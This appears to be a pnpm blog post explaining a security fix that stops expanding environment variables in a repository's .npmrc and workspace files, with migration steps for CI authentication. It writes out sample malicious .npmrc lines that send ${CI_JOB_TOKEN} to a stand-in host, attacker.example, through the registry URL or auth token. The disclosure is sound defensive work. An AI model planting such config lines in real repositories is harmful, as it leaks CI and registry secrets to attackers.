Why pnpm no longer expands environment variables in a repository's .npmrc
pnpm used to expand ${ENV_VAR} placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment. As of v10.34.2 and v11.5.3, pnpm stops expanding environment variables in repository-controlled registry and credential settings.
This was a security fix (GHSA-3qhv-2rgh-x77r), and it is a breaking change for some setups. This post explains the attack, what exactly changed, and how to migrate.
The attack
A .npmrc committed to a repository is attacker-controlled the moment you clone the repo. Before this change, pnpm would expand environment variables in that file when resolving dependencies — before any lifecycle script ran, so even pnpm's script-blocking protections didn't help.
Consider a repository that ships this .npmrc:
<span class="token-line" style="color:#393A34"><span class="token key attr-name" style="color:#00a4db">registry</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">https://attacker.example/${CI_JOB_TOKEN}/</span><br></span>
or this one:
<span class="token-line" style="color:#393A34"><span class="token key attr-name" style="color:#00a4db">registry</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">https://attacker.example/</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">//attacker.example/:_authToken</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">${CI_JOB_TOKEN}</span><br></span>
When you ran pnpm install with CI_JOB_TOKEN (or any other guessable secret) present in your environment, pnpm expanded the placeholder and sent the secret straight to the attacker — either in the request URL (https://attacker.example/<secret>/...) or in an Authorization: Bearer <secret> header. The same trick worked through registry URLs in pnpm-workspace.yaml.
No install scripts, no postinstall — just resolving dependencies was enough to exfiltrate a token.
What changed
pnpm now treats environment expansion as trust-aware. Environment variables are no longer expanded when the value comes from a repository-controlled file:
- In the project and workspace
.npmrc:registry,@scope:registry, proxy URLs, URL-scoped keys (//host/…), and credential values (_authToken,_auth,_password,username,tokenHelper,cert,key). - In
pnpm-workspace.yaml: registry URLs (registry, and the values ofregistries/namedRegistries).
A setting that contains a ${...} placeholder in one of these positions is ignored, and pnpm prints a warning explaining how to migrate it.
Environment variables are still expanded in config that doesn't come from the repository:
- your user-level
~/.npmrc(and the file pointed to bynpmrcAuthFile); - the global configuration;
- command-line options;
- environment config.
That boundary is the whole point: a token belongs in a location you control, not one that ships with the code you're about to install. We also hardened a related edge case where a repository .npmrc could redirect which file pnpm treats as trusted user/global config (via userconfig, globalconfig, or prefix); those destinations are now resolved only from trusted sources.
How to migrate
If your authentication broke after upgrading, move the token out of the committed .npmrc and into a trusted location.
Write it to your user/global config (this is what pnpm's own CI does):
<span class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">pnpm</span><span class="token plain"> config </span><span class="token builtin class-name">set</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"//registry.npmjs.org/:_authToken"</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"</span><span class="token string variable" style="color:#36acaa">$NPM_TOKEN</span><span class="token string" style="color:#e3116c">"</span><br></span>
pnpm config set writes to your user/global config by default, never to the project .npmrc, so the token stays out of the repository.
Or keep the ${NPM_TOKEN} line in your user-level ~/.npmrc instead of the repository — environment variables are still expanded there.
In GitHub Actions, actions/setup-node with the registry-url input already writes a user-level .npmrc, so authenticating through NODE_AUTH_TOKEN keeps working with no further changes:
<span class="token-line" style="color:#393A34"><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">uses</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> actions/setup</span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain">node@v4</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">with</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">node-version</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">24</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">registry-url</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> https</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain">//registry.npmjs.org</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">run</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> pnpm install</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">env</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">NODE_AUTH_TOKEN</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> $</span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> secrets.NPM_TOKEN </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">}</span><br></span>
On other CI systems where editing every pipeline is impractical, you can declare the repository's own .npmrc trusted by setting one environment variable in the CI environment:
<span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># v11:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">PNPM_CONFIG_NPMRC_AUTH_FILE</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">.npmrc</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># v10 (or as a fallback):</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">NPM_CONFIG_USERCONFIG</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">.npmrc</span><br></span>
Because that trust declaration comes from the environment — not from the repository — a malicious repo can't set it for you. Only use it in environments that build trusted repositories: it disables the protection for that checkout entirely.
Dynamic registry URLs
The same rule applies to registry and proxy URLs. If you used an environment variable to template a registry URL, move it to a trusted source (pnpm config set, your user ~/.npmrc, a CLI option, or environment config). If the URL isn't secret, you can simply write the resolved value directly in the project .npmrc — only ${...} placeholders are ignored, literal URLs are fine.
Sorry about the breakage
Shipping a breaking change in a patch release is not something we do lightly, and we know it disrupted some CI pipelines. But this was a reported vulnerability with a working exploit, and leaving it open — or waiting for the next major — would have meant knowingly shipping a way for any repository to read your secrets. Backporting the fix to v10 as a patch was the only way existing users would actually receive it.
For the full migration guide, see the authentication settings documentation.
"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:` <a href="##link##" class="native-banner" style="background: ##backgroundColor##" rel="sponsored noopener" target="\_blank" title="##company## — ##tagline##"> <img class="native-img" width="125" src="##logo##" /> <div class="native-main"> <div class="native-details" style=" color: ##textColor##; border-left: solid 1px ##textColor##; "> <span class="native-desc">##description##</span> </div> <span class="native-cta" style=" color: ##ctaTextColor##; background-color: ##ctaBackgroundColor##; ">##callToAction##</span> </div> </a> `})
Fetched June 12, 2026
